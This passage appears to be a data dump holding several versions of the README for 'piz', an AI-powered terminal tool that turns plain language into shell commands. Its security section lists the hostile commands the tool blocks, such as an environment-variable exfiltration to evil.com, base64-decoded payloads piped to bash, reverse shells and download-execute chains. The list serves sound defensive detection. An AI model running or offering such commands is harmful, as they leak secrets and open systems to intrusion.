**Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ ├── shell_init.rs # Shell integration code generation (bash/zsh/fish/PowerShell)\n│ └── ui.rs # Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ └── integration.rs # Integration tests\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (174)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n\n## Star History\n\n[](https://star-history.com/#AriesOxO/piz&Date)\n"}, "7df85def8ecb43b95b919b19779d2142101e752e": {"t": 1785760780.5332165, "n": 15021, "h": "effa662a13cdf184", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells, curl config attacks), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`, with auto-retry (up to 3 attempts)\n- **Interactive Chat** - Multi-turn chat mode with context (`piz chat`), with `/help`, `/clear`, `/history` commands and persistent history\n- **Multi-Candidate** - Generate multiple command options with `-n` and pick your preferred one\n- **Local Cache** - SQLite cache with TTL + LRU eviction, max entries limit, repeated queries return instantly\n- **Execution History** - Track all executed commands with `piz history`, searchable\n- **Shell Integration** - `piz init <shell>` generates shell wrapper functions so `cd`/`export`/`source` work correctly in the current shell (bash, zsh, fish, PowerShell)\n- **Eval Mode** - `--eval` outputs confirmed command for shell wrapper to eval, used by shell integration\n- **Shell Completions** - Generate completions for bash, zsh, fish, and PowerShell\n- **Pipe Mode** - Script-friendly output with `--pipe` for integration with other tools\n- **Multi-Language UI** - Chinese, English interface with localized security messages\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh/fish) with non-invasive encoding (no `chcp`/`OutputEncoding` modification)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n- **NO_COLOR Support** - Respects the `NO_COLOR` environment variable\n- **API Resilience** - Automatic retry with exponential backoff for 429/5xx errors\n\n## Quick Start\n\n### Install\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries, `.msi` (Windows) or `.deb` (Debian/Ubuntu) from [Releases](https://github.com/AriesOxO/piz/releases).\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 | `.tar.gz` `.deb` |\n| Linux ARM64 | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Multi-candidate mode\n\n```bash\n$ piz -n 3 find large files\n? Select a command to execute:\n> 1. find . -size +100M -type f — Find files larger than 100MB\n 2. du -ah . | sort -rh | head -20 — Show top 20 largest files/dirs\n 3. ls -lhRS | head -30 — List files sorted by size descending\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n - npm install\n + sudo npm install\n```\n\nThe fix command now supports auto-retry: if the fixed command also fails, piz will attempt up to 3 rounds of diagnosis and repair.\n\n### Interactive chat mode\n\n```bash\n$ piz chat\n💬 interactive mode\nType your request, or 'exit'/'quit' to leave.\n\n> list all running docker containers\n ➜ docker ps\n [Y] Execute [n] Cancel [e] Edit\n\n> only show the names\n ➜ docker ps --format '{{.Names}}'\n```\n\nChat mode supports special commands:\n- `/help` — Show available commands\n- `/clear` — Clear conversation history\n- `/history` — View conversation history\n\n### Execution history\n\n```bash\n$ piz history # Show last 20 executed commands\n$ piz history docker -l 10 # Search for \"docker\" in last 10 entries\n```\n\n### Shell completions\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Shell integration\n\nShell integration enables commands like `cd`, `export`, and `source` to work correctly in your current shell session. Run `piz init <shell>` and add the output to your shell profile:\n\n**Bash / Zsh:**\n\n```bash\n# Add to ~/.bashrc or ~/.zshrc:\neval \"$(piz init bash)\" # or: eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# Add to ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# Add to $PROFILE:\nInvoke-Expression (piz init powershell | Out-String)\n```\n\nOnce set up, piz will use `--eval` mode automatically, and commands like `cd`, `export`, `source` will take effect in your current shell.\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --eval list files # Eval mode (for shell integration)\npiz --version # Show version\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n<details>\n<summary>Click to expand all 12 providers</summary>\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / Kimi</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>Zhipu / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ ├── shell_init.rs # Shell integration code generation (bash/zsh/fish/PowerShell)\n│ └── ui.rs # Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ └── integration.rs # Integration tests\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (174)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n"}, "f3fbd8df5c2af0119c63d036cf656b9de6d886bd": {"t": 1785760782.498895, "n": 13858, "h": "cecfbb66798a5d6a", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells, curl config attacks), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`, with auto-retry (up to 3 attempts)\n- **Interactive Chat** - Multi-turn chat mode with context (`piz chat`), with `/help`, `/clear`, `/history` commands and persistent history\n- **Multi-Candidate** - Generate multiple command options with `-n` and pick your preferred one\n- **Local Cache** - SQLite cache with TTL + LRU eviction, max entries limit, repeated queries return instantly\n- **Execution History** - Track all executed commands with `piz history`, searchable\n- **Shell Completions** - Generate completions for bash, zsh, fish, and PowerShell\n- **Pipe Mode** - Script-friendly output with `--pipe` for integration with other tools\n- **Multi-Language UI** - Chinese, English interface with localized security messages\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh/fish)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n- **NO_COLOR Support** - Respects the `NO_COLOR` environment variable\n- **API Resilience** - Automatic retry with exponential backoff for 429/5xx errors\n\n## Quick Start\n\n### Install\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries, `.msi` (Windows) or `.deb` (Debian/Ubuntu) from [Releases](https://github.com/AriesOxO/piz/releases).\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 | `.tar.gz` `.deb` |\n| Linux ARM64 | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Multi-candidate mode\n\n```bash\n$ piz -n 3 find large files\n? Select a command to execute:\n> 1. find . -size +100M -type f — Find files larger than 100MB\n 2. du -ah . | sort -rh | head -20 — Show top 20 largest files/dirs\n 3. ls -lhRS | head -30 — List files sorted by size descending\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n - npm install\n + sudo npm install\n```\n\nThe fix command now supports auto-retry: if the fixed command also fails, piz will attempt up to 3 rounds of diagnosis and repair.\n\n### Interactive chat mode\n\n```bash\n$ piz chat\n💬 interactive mode\nType your request, or 'exit'/'quit' to leave.\n\n> list all running docker containers\n ➜ docker ps\n [Y] Execute [n] Cancel [e] Edit\n\n> only show the names\n ➜ docker ps --format '{{.Names}}'\n```\n\nChat mode supports special commands:\n- `/help` — Show available commands\n- `/clear` — Clear conversation history\n- `/history` — View conversation history\n\n### Execution history\n\n```bash\n$ piz history # Show last 20 executed commands\n$ piz history docker -l 10 # Search for \"docker\" in last 10 entries\n```\n\n### Shell completions\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --version # Show version\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n<details>\n<summary>Click to expand all 12 providers</summary>\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / Kimi</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>Zhipu / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ └── ui.rs # Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ └── integration.rs # Integration tests\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (157)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n"}, "31f2d826ec5c54a169c7c511ddc53c6c0479e060": {"t": 1785760784.0635512, "n": 13885, "h": "fe0b809da03a20c6", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img 